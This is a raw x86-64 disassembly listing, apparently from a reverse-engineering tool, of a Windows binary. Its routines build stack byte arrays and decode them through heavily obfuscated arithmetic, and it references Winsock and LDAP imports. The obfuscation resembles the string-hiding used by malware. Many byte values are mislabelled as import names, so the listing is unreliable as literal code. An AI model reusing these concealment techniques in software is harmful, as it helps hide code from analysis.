mov byte [rbp + 0xed3], 0x7b
mov byte [rbp + 0xed4], 0xf4
mov byte [rbp + 0xed5], 0x65
mov byte [rbp + 0xed6], 0xf6
mov byte [rbp + 0xed7], 0x67
mov byte [rbp + 0xed8], 0xac
mov byte [rbp + 0xed9], 0x61
mov byte [rbp + 0xeda], 0x83
mov byte [rbp + 0xedb], 0x63
mov byte [rbp + 0xedc], 0xf0
mov byte [rbp + 0xedd], WSASetLastError
mov byte [rbp + 0xede], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xedf], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xee0], Ordinal_143
mov byte [rbp + 0xee1], WSAGetLastError
mov byte [rbp + 0xee2], 0xa7
mov byte [rbp + 0xee3], WSASetLastError
mov byte [rbp + 0xee4], 0x88
mov byte [rbp + 0xee5], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xee6], 0xfe
mov byte [rbp + 0xee7], reloc.WS2_32.dll_socket
mov byte [rbp + 0xee8], 0xfd
mov byte [rbp + 0xee9], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xeea], 0x80
mov byte [rbp + 0xeeb], reloc.WS2_32.dll_send
mov byte [rbp + 0xeec], 0xfd
mov byte [rbp + 0xeed], Ordinal_32
mov byte [rbp + 0xeee], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xeef], Ordinal_32
mov byte [rbp + 0xef0], 0xfa
mov byte [rbp + 0xef1], Ordinal_27
mov byte [rbp + 0xef2], 0xf3
mov byte [rbp + 0xef3], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xef4], __WSAFDIsSet
mov byte [rbp + 0xef5], 5
mov byte [rbp + 0xef6], 6
mov byte [rbp + 0xef7], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xef8], xmm0
mov qword [rbp + 0xf08], rax
mov dil, byte [rsp + 0x50]
call fcn.14024ffe8
mov rbx, qword [rax]
call fcn.14024fff0
mov r9, qword [rax]
mov r12d, Ordinal_41
mov r10, r13
mov esi, 1
cmp r10, 0x60
jae 0x1401ffdfb
movzx r8d, byte [rbp + r10 + 0xeb0]
mov edx, r8d
cmp rbx, r10
ja 0x1401ffdf2
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401ff418
movabs r11, 0xe2ff43c1b0c1bb8c
lea rcx, [r10 + r11]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x2c
jmp 0x1401ff44f
je 0x1401ffd70
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401ffd21
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401ffcc1
lea rax, [r9 + 3]
cmp rbx, rax
je 0x1401ffc9b
movabs r11, 0xe2ff43c1b0c1bb8c
cmp r9, r10
ja 0x1401ffde9
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x1401ff485
movabs rdi, 0x9ef08ee37fe4627c
add rdi, r10
mov al, dil
and al, r8b
add al, al
sub dil, al
sub dil, 0x64
add dil, r8b
jmp 0x1401ff4b9
lea rax, [r9 + 1]
cmp rbx, rax
je 0x1401ffc54
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401ffc30
lea rax, [r9 + 4]
cmp rbx, rax
je 0x1401ffc0d
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401ffbea
mov r14d, Ordinal_32
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x1401ff8bf
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x1401ff89c
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x1401ff888
lea rax, [r9 + 8]
cmp rbx, rax
je 0x1401ff865
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x1401ff842
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x1401ff81f
lea rax, [r9 + 9]
cmp rbx, rax
je 0x1401ff7f8
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x1401ffdc6
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x1401ffda4
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x1401ff5e4
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x1401ff72b
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x1401ff6fc
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x1401ff4cc
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x1401ff6e8
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x1401ff6c1
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x1401ff69e
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x1401ff677
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x1401ff650
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x1401ff62c
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x1401ff606
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x1401ff4cc
movabs rcx, 0x4099ca2af930d504
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r14b
jmp 0x1401ff4bf
movabs rdx, 0xf784771bff2313e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x20
add dil, dl
jmp 0x1401ffc72
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x78
jmp 0x1401ffc96
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401ffcb9
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401ffd11
movabs rcx, 0x538d4a07b60e4950
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x1401ffbb1
movabs rdx, 0x8d8ec284548ad238
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401ffd3d
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1401ff8fc
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r10 + 0xeb0], dil
jmp 0x1401ffd9c
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r9 + rbx]
cmp rax, 2
je 0x1401ffb89
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x1401ff9cb
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x80
jae 0x1401ffb61
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x1401ffa70
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r9, 0x42
jb 0x1401ff71e
movabs rcx, 0x71b4ff2c6d30b9c8
add rcx, r10
mov al, cl
and al, r8b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x1401ffc72
movabs rdx, 0xf3a4d1d19dd6d7d0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401ffd3d
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x1401ffbb1
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x1401ffd11
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x1401ffcb9
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401ffc3f
movabs rcx, 0x89af1d39f33e9628
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x1401ffc72
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x1401ff8e6
lea rdx, [r10 + r11]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401ff74d
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401ff914
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, r14d
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401ffd8d
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401ff940
movabs rcx, 0xc9de2ccdc2cfb328
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x1401ffbb1
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401ff96c
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x1401ffd0e
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401ff99b
movabs rdx, 0x1bd9c357e75a1870
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x10
add dil, dl
jmp 0x1401ffce3
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x1401ff74d
movabs rcx, 0x6dd559e20be47db8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x1401ffc72
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401ff9f7
movabs rcx, 0xdcd1acaa7fad2774
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2c
jmp 0x1401ffc72
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401ffa14
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401ffc3f
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401ffa41
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x1401ffd11
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x1401ff78a
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r14b
jmp 0x1401ffbb1
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401ffa8d
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x1401ff8fc
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401ffab9
movabs rcx, 0x41c0c31161150108
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x1401ffd3d
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401ffae6
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x30
jmp 0x1401ffd0e
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x1401ffb03
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1401ffcd0
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x1401ffb30
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x1401ffcb9
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401ff7c6
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x1401ffc96
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r10 + 0xeb0]
sub dil, al
sub dil, 0x20
jmp 0x1401ffcdd
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xeb0]
add dil, dl
add dil, r8b
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xeb0], al
add r9, rsi
add rax, r9
sub r10, rax
jmp 0x1401ffd3d
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x1401ffd11
movabs rcx, 0xb6eaacf105f23edc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x1401ffce3
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401ffc96
movabs rcx, 0x64ef1666e167d994
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r8b
mov byte [rbp + r10 + 0xeb0], cl
add r9, rsi
jmp 0x1401ffcb9
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
sub r10, rsi
jmp 0x1401ffd9c
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rcx, 0x1ab2ca717f75ec6c
add rcx, r10
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, dil
add dl, r8b
mov byte [rbp + r10 + 0xeb0], dl
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x1401ffd9c
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r12b
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x70
add cl, r8b
mov byte [rbp + r10 + 0xeb0], cl
add rbx, rsi
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x1401ffd8d
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xeb0]
add rax, r9
add r10, rax
add r10, rsi
jmp 0x1401ff3cc
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r12b
jmp 0x1401ff3c4
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x1401ff3ae
lea rdx, [rbp + 0x16a10c0]
jmp 0x1401ffe02
lea rdx, [rbp + 0x6bcc4c]
jmp 0x1401ffe02
lea rdx, [rbp + 0xeb0]
lea rcx, [rbp + 0x198]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2a70]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401ffe37
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r15d, 0x40
mov r9d, r15d
lea r14d, [r15 - 0x3e]
mov r8d, r14d
lea rcx, [rbp + 0x2a70]
call fcn.140174580
nop
lea rcx, [rbp + 0x2a70]
call fcn.14024e690
nop
lea rcx, [rbp + 0x2a70]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0x960], 0x9b
mov byte [rbp + 0x961], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x962], 0x90
mov byte [rbp + 0x963], 0xdb
mov byte [rbp + 0x964], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x965], Ordinal_217
mov byte [rbp + 0x966], 0x7b
mov byte [rbp + 0x967], Ordinal_217
mov byte [rbp + 0x968], 0x43
mov byte [rbp + 0x969], Ordinal_211
mov byte [rbp + 0x96a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x96b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x96c], 0x5e
mov byte [rbp + 0x96d], Ordinal_211
mov byte [rbp + 0x96e], 0x5d
mov byte [rbp + 0x96f], Ordinal_211
mov byte [rbp + 0x970], WSASetLastError
mov byte [rbp + 0x971], 0xc9
mov byte [rbp + 0x972], 0x7a
mov byte [rbp + 0x973], 0xcb
mov byte [rbp + 0x974], Ordinal_79
mov byte [rbp + 0x975], Ordinal_200
mov byte [rbp + 0x976], 0x64
mov byte [rbp + 0x977], Ordinal_200
mov byte [rbp + 0x978], 0x54
mov byte [rbp + 0x979], 0xc1
mov byte [rbp + 0x97a], 0x5b
mov byte [rbp + 0x97b], Ordinal_200
mov byte [rbp + 0x97c], 0x9f
mov byte [rbp + 0x97d], 0x3d
mov byte [rbp + 0x97e], 0x9a
mov byte [rbp + 0x97f], 0x3f
mov byte [rbp + 0x980], 0x84
mov byte [rbp + 0x981], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x982], 0xa8
mov byte [rbp + 0x983], Ordinal_60
mov byte [rbp + 0x984], 0xad
mov byte [rbp + 0x985], gethostname
mov byte [rbp + 0x986], 0xb8
mov byte [rbp + 0x987], Ordinal_60
mov byte [rbp + 0x988], 0xad
mov byte [rbp + 0x989], Ordinal_50
mov byte [rbp + 0x98a], 0xa0
mov byte [rbp + 0x98b], gethostname
mov byte [rbp + 0x98c], 0xbf
mov byte [rbp + 0x98d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x98e], 0x78
mov byte [rbp + 0x98f], Ordinal_50
mov byte [rbp + 0x990], Ordinal_143
mov byte [rbp + 0x991], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x992], 0xb3
mov byte [rbp + 0x993], Ordinal_45
mov byte [rbp + 0x994], 0xb2
mov byte [rbp + 0x995], Ordinal_41
mov byte [rbp + 0x996], Ordinal_41
mov byte [rbp + 0x997], Ordinal_45
xor eax, eax
mov qword [rbp + 0x998], rax
mov dword [rbp + 0x9a0], eax
mov word [rbp + 0x9a4], ax
mov byte [rbp + 0x9a6], al
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x47
jae 0x140200b0d
movzx r8d, byte [rbp + r9 + 0x960]
mov rdx, r8
cmp rdi, r9
ja 0x140200b04
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140200080
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x44
jmp 0x1402000b7
je 0x140200a81
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140200a52
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140200a2f
lea rax, [r10 + 7]
cmp rdi, rax
je 0x1402009e1
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x140200afb
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x1402000e8
movabs rcx, 0xb7c78c691cb91734
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x140200129
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1402009d0
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1402009ad
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140200965
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14020093f
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1402008b2
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x140200551
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14020053d
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14020051b
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140200509
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x1402004e7
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1402004d3
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x1402004b1
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14020049d
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x140200ad9
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140200ab3
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x1402002d7
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1402002b1
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14020028f
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x140200486
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x140200400
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1402003ec
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1402003ca
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1402003b6
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x140200394
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x140200372
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140200351
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x14020032f
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14020031b
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x1402002f9
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x140200136
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x140200136
movabs rcx, 0x52bb1b4a0743074c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x140200129
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1402000b7
movabs rcx, 0x78de3d7f265cb9bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r12b
jmp 0x140200048
movabs rcx, 0xbe3c6348e5c8b9a0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x140200a02
movabs rdx, 0xd14df463755592d8
mov ecx, ntohl
jmp 0x140200690
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x140200a4d
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140200882
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x140200a6f
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x140200a72
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x1402008c1
movabs rcx, 0x43b75b02d2a2aa28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x140200907
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x1402005cd
movabs rcx, 0x2c97f914e82954dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
cmp rdi, 4
jae 0x140200861
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x14020075b
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
cmp r10, 4
jb 0x140200854
movabs rcx, 0x338017b566f0b9d8
add rcx, r9
mov al, cl
and al, r8b
mov edx, ntohl
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x140200a02
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov ecx, Ordinal_60
jmp 0x140200563
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x1402008c1
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x140200a72
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_45
jmp 0x14020094e
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x140200982
movabs rdx, 0xc116b11609a3a288
mov ecx, r12d
jmp 0x1402009bc
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
jmp 0x140200a2a
movabs rdx, 0xe739d34b28bd54f8
mov ecx, Ordinal_32
jmp 0x1402009f0
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x1402005b5
lea rdx, [r9 + r11]
mov ecx, Ordinal_35
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
lea rax, [rdi + r10]
cmp rax, 0x1000
je 0x14020088c
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x14020064d
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14020041d
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1402005e4
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140200a9c
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140200601
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x1402008c1
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14020062c
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
jmp 0x140200a72
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140200572
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_45
jmp 0x1402009bc
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140200678
movabs rcx, 0x2756a53b562b459c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x140200a02
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1402006a7
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140200a2a
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1402006d2
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r12b
jmp 0x140200a6f
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1402006fd
